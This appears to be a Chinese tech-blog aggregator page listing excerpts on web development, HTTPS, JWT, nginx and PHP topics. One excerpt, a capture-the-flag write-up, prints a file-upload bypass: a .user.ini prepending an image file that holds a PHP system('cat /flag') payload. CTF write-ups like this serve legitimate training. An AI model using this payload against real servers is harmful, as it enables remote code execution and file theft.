打印报表工具,web报表工具对比
?1.jasperreport报表有批量报表打印功能,但一般需要通过专门的编程实现批量报表打印;一些较简单的分片式打印能通过主子表实现;不能自动适应纸张大小;不支持分栏打印;不支持一纸多页打印;不支持末页补足空行;不支持缩放;支持纵向分页,不支持横向分页。2.Smartbi报表工具本身支持任何语言的批量报表打印调用,可以给每个报表提供,每个报表可以传递不同的参数;客户端能记忆打印设置;能自动适应纸 查看全文
浅谈PHP序列化与反序列化
基础知识 现在我们都会在淘宝上买桌子,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。 也就是说,序列化的 ... 查看全文
laravel报错MethodNotAllowedHttpException
laravel报错MethodNotAllowedHttpException 原因 这是路由的请求类型错误 解决方法 一般常见的请求类型为get、post和any,其中get一般用于渲染模板,post一般用于向服务器提交数据,any则是两者兼有. 效果图 ... 查看全文
八、【spring】web应用安全设计
spring web应用的安全设计模式,很值得学习,除了简单易上手之外,给予我们得更多是关于web安全开发层面得思考和收获 ... 查看全文
如何将word图片粘贴到PHPCMS里面
很多时候我们用一些管理系统的时候,发布新闻、公告等文字类信息时,希望能很快的将word里面的内容直接粘贴到富文本编辑器里面,然后发布出来。减少排版复杂的工作量。 下面是借用百度doc 来快速实现这个word 粘贴到 富文本编辑器里面方法一: 工具/原料 百度doc任意富文本编辑器,以UEDdito为 ... 查看全文
【web自动化】 自动化无人值守运行
在你根据手工测试用例完善自动化测试用例后,每个测试用例都调试通过了,说明我们已完成了对被测对象的测试用例覆盖。可是在平时的上线回归中,你不可能一个一个地手工执行测试用例的,我们希望的是运行一个命令或是执行一次菜单,测试用例会一个一个地去执行。所以本章开始,我们将讲解如何组织测试用例,以及利用jenk ... 查看全文
Dubbo即将毕业,晋升为Apache顶级项目?
Dubbo即将毕业,晋升为Apache顶级项目?2018年2月9日,Apache基金会的邮件列表上发起了讨论是否接纳阿里的Dubbo项目进入Apache孵化器的投票。2018年2月15日,邮件列表显示,Dubbo获得了14张赞成票,在无弃权和反对票的情况下,正式通过投票,顺利成为Apache基金会孵化项目。近日,有消息传出,Dubbo即将孵化完成,破壳而出,成为Apache顶级项目。Apache开 查看全文
4.C#通过HTTP获取Tushare 数据
1.依据tushare官网上的数据 可知 发送数据为,且格式为 JSON { "api_name": "daily", "token": "您的 TOKEN", "params": {"ts_code":"000001.SZ,600000.SH","trade_date":"20200723"}, ... 查看全文
一篇文章读懂HTTPS及其背后的加密原理
一篇文章读懂HTTPS及其背后的加密原理本文来自作者投稿,原作者:安静的boy,Hollis做了简单的修改与排版。HTTPS(全称:HypertextTransferProtocolSecure,超文本传输安全协议),是以安全为目标的HTTP通道,简单讲是HTTP的安全版。本文,就来深入介绍下其原理。1为什么需要https使用https的原因其实很简单,就是因为http的不安全。当我们往服务器发送 查看全文
物联网架构成长之路(58)-用户与应用服务器之WebSocket通信
一、前言 之前的物联网篇,有介绍过用户手机APP或在H5端,可以作为mqtt的客户端,通过tcp:1883或者Websocket:8083,连接到EMQ Broker上,订阅设备的主题,从而收到设备上报的数据。但是,在处理工业物联网的时候,会出现,物联网平台会对接客户自己的应用。设备上报与下发都是通 ... 查看全文
《HttpRunner源码阅读》【未完-待更新】
HttpRunner 当前版本:3.1.4 功能介绍:接口自动化测试(支持输入.har文件、支持输出json/yaml文件)、性能测试框架 底层使用:request、jinja2、pytest、locust 使用人员:测试开发人员、自动化测试人员 httprunner/util.py 公共工具模块封 ... 查看全文
JavaWeb:ServletRequestAttributeListener
环境 JDK 8 Spring Tool Suite 4.6.1 Servlet 3.1 Tomcat 8.5 Maven 3.6.3 概述 域对象中属性的监听器,可以监听属性的设置、改变和移除。 一共有三个,这里以 ServletRequestAttributeListener 为例学习。 Ser ... 查看全文
Asp.NetCore3.1 WebApi 使用Jwt 授权认证使用
1:导入NuGet包 Microsoft.AspNetCore.Authentication.JwtBearer 2:配置 jwt相关信息 3:在 startUp中 1 public void ConfigureServices(IServiceCollection services){ 2 #re ... 查看全文
一文看懂web服务器、应用服务器、web容器、反向代理服务器区别与联系
推荐阅读:https://www.cnblogs.com/suntp/p/9147136.html 1.1. Web服务器概念与基本原理 1.1.1. Web服务器的历史 1989年,互联网之父Berners-Lee向其雇主CERN提出了一个新项目,目的是通过使用超文本系统来缓解科学家之间的信息交流 ... 查看全文
5种php加密工具zendGuard、ionCube、SourceCop、SourceGuardian、phpShield
PHP做桌面应用的想法: 除去icudt55.dll,PHP7用7ZIP压缩后不足7MB,而PHP自带了SQLite和CLI HTTP Server,用户打开浏览器就能访问PHP开发的桌面应用.如果源代码不想被别人看到,可以用php-beast之类的工具进行加密. 还有,我想为什么PHP就不适合用来 ... 查看全文
Buuctf-web-[SUCTF 2019]CheckIn
首先添加上传一个.user.ini GIF89a auto_prepend_file=a.jpg 再添加上传一个a.jpg GIF89a <script language='php'>system('cat /flag')</script> 在这里可以看到 uploads/33c6f8457bd77 ... 查看全文
python中matplotlib中标签中文乱码的一种解决方法
#解决中文显示乱码问题 plt.rcParams['font.sans-serif'] = ['KaiTi'] # 指定默认字体,设置为中文字体# plt.rcParams['axes.unicode_minus'] = False # 解决保存图像是负号'-'显示为方块的问题 ... 查看全文
ASP.NET Core 3.x RESTful API学习记录--HTTP 方法的安全性和幂等性
什么样的HTTP方法是安全的? 如果一个方法不会改变资源的表述,那么这个方法就被认为是安全的。 例如 HTTP GET 和 HTTP HEAD 就被认为是安全的,但需要注意的是,这并不意味着执行GET请求就不会引起其它的资源操作,在表面之下,你的服务层有可能会对其它相关的一些表的数据做出修改,但是本 ... 查看全文
HTTP代理和IP代理的区别
从事互联网工作,HTTP代理和IP代理相信都很熟悉。因为在大家工作的时候,一些领域或者功能需要通过代理软件来完成。虽然这个软件不是一定要使用,但是如果不用不仅会让工作效率变低,爬虫工作者在数据采集的时候时候还会有非常大的几率IP被封。使用http避免ip封禁提升工作效率。IPIDEA分布国内外240+国家地区地址,支持api提取,可满足分布式爬虫使用需要。HTTP代理和IP代理的功能有着相同之处, 查看全文
zabbix使用SSL证书实现https登录
zabbix推荐使用nginx服务器,性能较高。为了满足安全访问,现在需要配置https,主要是对nginx的ssl模块进行配置,还要生成zabbix-server对应的证书文件之前已经安装过zabbix5.0,选择的配置环境如下:详细的安装方法见官方文档:https://www.zabbix.com/download?zabbix=5.0&os_distribution=centos&a 查看全文
linux localhost 借助nginx 支持https
解决ssl模块缺失的问题 the "ssl" parameter requires ngx_http_ssl_module https://my.oschina.net/litengteng/blog/1800751 详细的安装过程 https://www.cnblogs.com/maggieq83 ... 查看全文